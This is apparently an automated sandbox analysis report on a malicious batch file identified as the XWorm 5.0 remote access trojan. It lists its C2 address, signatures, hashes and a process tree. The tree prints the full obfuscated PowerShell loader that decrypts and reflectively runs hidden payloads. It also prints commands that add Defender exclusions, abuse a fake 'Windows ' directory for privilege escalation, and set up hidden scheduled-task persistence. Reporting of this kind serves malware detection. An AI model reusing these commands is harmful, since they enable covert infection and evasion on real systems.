Analysis

  • max time kernel
    1799s
  • max time network
    1801s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-05-2024 14:55

General

  • Target

    FN-INTERNAL.bat

  • Size

    376KB

  • MD5

    121a69448e9f5eef0ba4c1229b471208

  • SHA1

    90abf42b20fb75a7f922b4a83cbeb77ca5dbf5d0

  • SHA256

    b383a0ab3670e505ae0b7a7b6d68c096bb799ce858d8afc2e2ef5d1c1314051a

  • SHA512

    c9e903245c3ab434018e23e4c51bf9d4fcbdb9dc1b85114574c12a2ce5c3ec6cd811fa1b51a34c86c695c6ba79cade1cdc215c4953090a342ba4ff6c1a92bc3d

  • SSDEEP

    6144:C+g8ai0m+BiS0FY9tRpUOAIeJxsOjzW1JlW5nHa5EV8hpzjHRQbh9xph9aK7PGaj:C+gdOSOYbRHjeJxbOJlW5niJSdT9amGk

Malware Config

Extracted

Family

xworm

Version

5.0

C2

software-led.gl.at.ply.gg:38954

Mutex

m6tgeOEIIMDuaFcQ

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 12 IoCs
  • Drops file in Windows directory 1 IoCs
  • Modifies data under HKEY_USERS 43 IoCs
  • Modifies registry class 44 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
    • Modifies registry class
    PID:776
    • C:\Windows\System32\mousocoreworker.exe
      C:\Windows\System32\mousocoreworker.exe -Embedding
      2⤵
        PID:3972
      • C:\Windows\system32\backgroundTaskHost.exe
        "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
        2⤵
          PID:3212
        • C:\Windows\system32\BackgroundTransferHost.exe
          "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
          2⤵
            PID:3616
          • C:\Windows\system32\backgroundTaskHost.exe
            "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
            2⤵
              PID:2164
            • C:\Windows\system32\backgroundTaskHost.exe
              "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
              2⤵
                PID:2976
              • C:\Windows\system32\BackgroundTransferHost.exe
                "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                2⤵
                  PID:4964
                • C:\Windows\system32\backgroundTaskHost.exe
                  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                  2⤵
                    PID:2484
                  • C:\Windows\system32\BackgroundTransferHost.exe
                    "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                    2⤵
                      PID:3260
                    • C:\Windows\system32\BackgroundTransferHost.exe
                      "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                      2⤵
                        PID:2996
                      • C:\Windows\system32\backgroundTaskHost.exe
                        "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                        2⤵
                          PID:1708
                        • C:\Windows\system32\BackgroundTaskHost.exe
                          "C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider
                          2⤵
                            PID:1436
                          • C:\Windows\System32\RuntimeBroker.exe
                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                            2⤵
                              PID:2080
                            • C:\Windows\system32\backgroundTaskHost.exe
                              "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                              2⤵
                                PID:3872
                              • C:\Windows\system32\backgroundTaskHost.exe
                                "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXggkaqzf6p31g37n0m8phzeswb0rt9m7e.mca
                                2⤵
                                  PID:1396
                                • C:\Windows\System32\RuntimeBroker.exe
                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                  2⤵
                                    PID:4004
                                  • C:\Windows\system32\BackgroundTaskHost.exe
                                    "C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider
                                    2⤵
                                      PID:4672
                                    • C:\Windows\System32\RuntimeBroker.exe
                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                      2⤵
                                        PID:2472
                                      • C:\Windows\system32\DllHost.exe
                                        C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                        2⤵
                                          PID:1348
                                        • C:\Windows\system32\backgroundTaskHost.exe
                                          "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                          2⤵
                                            PID:4908
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k RPCSS -p
                                          1⤵
                                            PID:900
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
                                            1⤵
                                              PID:948
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                                              1⤵
                                                PID:392
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc
                                                1⤵
                                                  PID:428
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                                                  1⤵
                                                    PID:996
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                                                    1⤵
                                                      PID:516
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                                                      1⤵
                                                        PID:1096
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                                                        1⤵
                                                          PID:1112
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                                          1⤵
                                                            PID:1140
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                                                            1⤵
                                                            • Drops file in System32 directory
                                                            PID:1228
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                                                            1⤵
                                                              PID:1276
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                                              1⤵
                                                                PID:1288
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                                                1⤵
                                                                  PID:1304
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                                                  1⤵
                                                                    PID:1416
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                                                    1⤵
                                                                      PID:1440
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                                                      1⤵
                                                                        PID:1500
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                                                        1⤵
                                                                          PID:1508
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                                                          1⤵
                                                                            PID:1624
                                                                          • C:\Windows\System32\svchost.exe
                                                                            C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                                                            1⤵
                                                                              PID:1632
                                                                            • C:\Windows\System32\svchost.exe
                                                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                                              1⤵
                                                                                PID:1712
                                                                              • C:\Windows\System32\svchost.exe
                                                                                C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                                                1⤵
                                                                                  PID:1760
                                                                                • C:\Windows\System32\svchost.exe
                                                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                                                  1⤵
                                                                                    PID:1784
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                                                    1⤵
                                                                                      PID:1880
                                                                                    • C:\Windows\System32\svchost.exe
                                                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                                                      1⤵
                                                                                        PID:1888
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                                                        1⤵
                                                                                          PID:1940
                                                                                        • C:\Windows\System32\svchost.exe
                                                                                          C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                                                          1⤵
                                                                                            PID:1960
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
                                                                                            1⤵
                                                                                              PID:1800
                                                                                            • C:\Windows\System32\svchost.exe
                                                                                              C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                                              1⤵
                                                                                                PID:2088
                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                                                1⤵
                                                                                                  PID:2220
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                                                  1⤵
                                                                                                    PID:2256
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                                                    1⤵
                                                                                                      PID:2400
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                                                      1⤵
                                                                                                        PID:2408
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                                        1⤵
                                                                                                          PID:2588
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                                                          1⤵
                                                                                                          • Drops file in System32 directory
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          PID:2664
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                                                          1⤵
                                                                                                            PID:2740
                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                                                            1⤵
                                                                                                              PID:2812
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                                              1⤵
                                                                                                                PID:2824
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                                                                1⤵
                                                                                                                  PID:3048
                                                                                                                • C:\Windows\Explorer.EXE
                                                                                                                  C:\Windows\Explorer.EXE
                                                                                                                  1⤵
                                                                                                                  • Modifies registry class
                                                                                                                  • Suspicious use of UnmapMainImage
                                                                                                                  PID:3364
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL.bat"
                                                                                                                    2⤵
                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                    PID:4372
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      cmd /c "set __=^&rem"
                                                                                                                      3⤵
                                                                                                                        PID:388
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('97S5HKOOEHVTK1tx3yu5lTndq7VoLhaiBMi1fQ7XC/w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BY/5WS5SKbagLrml3T2b0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ERsLU=New-Object System.IO.MemoryStream(,$param_var); $BcZuZ=New-Object System.IO.MemoryStream; $aYIjw=New-Object System.IO.Compression.GZipStream($ERsLU, [IO.Compression.CompressionMode]::Decompress); $aYIjw.CopyTo($BcZuZ); $aYIjw.Dispose(); $ERsLU.Dispose(); $BcZuZ.Dispose(); $BcZuZ.ToArray();}function execute_function($param_var,$param2_var){ $WzoGX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uXAck=$WzoGX.EntryPoint; $uXAck.Invoke($null, $param2_var);}$FVRVU = 'C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL.bat';$host.UI.RawUI.WindowTitle = $FVRVU;$gLqRi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FVRVU).Split([Environment]::NewLine);foreach ($pQPCS in $gLqRi) { if ($pQPCS.StartsWith('VPEeCHQfOWHyYXzmlFZZ')) { $YmBxU=$pQPCS.Substring(20); break; }}$payloads_var=[string[]]$YmBxU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                                                        3⤵
                                                                                                                          PID:3740
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
                                                                                                                          3⤵
                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                          PID:2616
                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
                                                                                                                            4⤵
                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            PID:3308
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
                                                                                                                            4⤵
                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                            PID:1184
                                                                                                                            • C:\Windows \System32\ComputerDefaults.exe
                                                                                                                              "C:\Windows \System32\ComputerDefaults.exe"
                                                                                                                              5⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Loads dropped DLL
                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                              PID:2384
                                                                                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                cmd.exe /c call SC.cmd
                                                                                                                                6⤵
                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                PID:4696
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  cmd /c "set __=^&rem"
                                                                                                                                  7⤵
                                                                                                                                    PID:3828
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('97S5HKOOEHVTK1tx3yu5lTndq7VoLhaiBMi1fQ7XC/w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BY/5WS5SKbagLrml3T2b0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ERsLU=New-Object System.IO.MemoryStream(,$param_var); $BcZuZ=New-Object System.IO.MemoryStream; $aYIjw=New-Object System.IO.Compression.GZipStream($ERsLU, [IO.Compression.CompressionMode]::Decompress); $aYIjw.CopyTo($BcZuZ); $aYIjw.Dispose(); $ERsLU.Dispose(); $BcZuZ.Dispose(); $BcZuZ.ToArray();}function execute_function($param_var,$param2_var){ $WzoGX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uXAck=$WzoGX.EntryPoint; $uXAck.Invoke($null, $param2_var);}$FVRVU = 'C:\Users\Admin\AppData\Local\Temp\SC.cmd';$host.UI.RawUI.WindowTitle = $FVRVU;$gLqRi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FVRVU).Split([Environment]::NewLine);foreach ($pQPCS in $gLqRi) { if ($pQPCS.StartsWith('VPEeCHQfOWHyYXzmlFZZ')) { $YmBxU=$pQPCS.Substring(20); break; }}$payloads_var=[string[]]$YmBxU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                                                                    7⤵
                                                                                                                                      PID:1564
                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
                                                                                                                                      7⤵
                                                                                                                                      • Blocklisted process makes network request
                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                      PID:3676
                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
                                                                                                                                        8⤵
                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                        PID:4920
                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        "powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse "
                                                                                                                                        8⤵
                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                        PID:4600
                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\SC')
                                                                                                                                        8⤵
                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                        PID:4180
                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-SCV.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                                                                        8⤵
                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                        PID:4872
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /c rmdir "c:\Windows \"/s /q
                                                                                                                                4⤵
                                                                                                                                  PID:732
                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL')
                                                                                                                                  4⤵
                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                  PID:4060
                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-SCV.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                                                                  4⤵
                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                  PID:3428
                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                            C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                                            1⤵
                                                                                                                              PID:3408
                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                              C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                                              1⤵
                                                                                                                                PID:3560
                                                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                                                C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                                1⤵
                                                                                                                                  PID:4296
                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                  1⤵
                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                  PID:3348
                                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                                  1⤵
                                                                                                                                    PID:436
                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                                                    1⤵
                                                                                                                                      PID:3416
                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                                                      1⤵
                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                      PID:2108
                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                                      1⤵
                                                                                                                                      • Drops file in Windows directory
                                                                                                                                      PID:4680
                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                                      1⤵
                                                                                                                                        PID:2820

                                                                                                                                      Network

                                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                                      Replay Monitor

                                                                                                                                      Loading Replay Monitor...

                                                                                                                                      Downloads

                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        d85ba6ff808d9e5444a4b369f5bc2730

                                                                                                                                        SHA1

                                                                                                                                        31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                                                                        SHA256

                                                                                                                                        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                                                                        SHA512

                                                                                                                                        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                                                        Filesize

                                                                                                                                        53KB

                                                                                                                                        MD5

                                                                                                                                        a26df49623eff12a70a93f649776dab7

                                                                                                                                        SHA1

                                                                                                                                        efb53bd0df3ac34bd119adf8788127ad57e53803

                                                                                                                                        SHA256

                                                                                                                                        4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

                                                                                                                                        SHA512

                                                                                                                                        e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                        Filesize

                                                                                                                                        1KB

                                                                                                                                        MD5

                                                                                                                                        600325c054a0ad5123a222671e388137

                                                                                                                                        SHA1

                                                                                                                                        59295822490ec5ceb9ae923c2dc6313f1f48dd2b

                                                                                                                                        SHA256

                                                                                                                                        d322abae6f5ae7c31891ab548d94db5e4b413b8bf43a77b7735018c6dffa9f69

                                                                                                                                        SHA512

                                                                                                                                        c02041549204f8d093114f3a894e3f40d7a10878690abe82346156ca80dca32b0e15be3a1b2f41289292544ccdce6a542a44c8b340ee43b0f21480bfb826196d

                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                        Filesize

                                                                                                                                        1KB

                                                                                                                                        MD5

                                                                                                                                        81b640502b0c25ab216c6b6ad82ba7bd

                                                                                                                                        SHA1

                                                                                                                                        1b43e1fead8428aee3b764bcacc3795021277be9

                                                                                                                                        SHA256

                                                                                                                                        4cf92d978f2a1fc5b80eda8a11f181603018d270fc8fe24daa634b954c75380f

                                                                                                                                        SHA512

                                                                                                                                        842cfba04ddbd5336e16dbc1ab8e57a80541f0ab1da6260fcca53f7f441e4b1c4149bce2d74b23684a338a86aded2626008f33edb246871e178bda1272c8fa57

                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                        Filesize

                                                                                                                                        1KB

                                                                                                                                        MD5

                                                                                                                                        2114288fdfc8e55f47611663569c81ab

                                                                                                                                        SHA1

                                                                                                                                        b90e27b1223903c32b629ba98f237ff177ccce85

                                                                                                                                        SHA256

                                                                                                                                        5d413dcfcf1f7570834cb23652183db100ab5213b4c7a40ac2c8849c2f5bf69a

                                                                                                                                        SHA512

                                                                                                                                        997e2b423b8b186b8e02114f52f56d560040705a77aa4c837fa49e003116523d049481625c68e2a96b2327f733af02b40b415ac1530a385ddddb4c4b20a8df8d

                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                        Filesize

                                                                                                                                        944B

                                                                                                                                        MD5

                                                                                                                                        6d3e9c29fe44e90aae6ed30ccf799ca8

                                                                                                                                        SHA1

                                                                                                                                        c7974ef72264bbdf13a2793ccf1aed11bc565dce

                                                                                                                                        SHA256

                                                                                                                                        2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

                                                                                                                                        SHA512

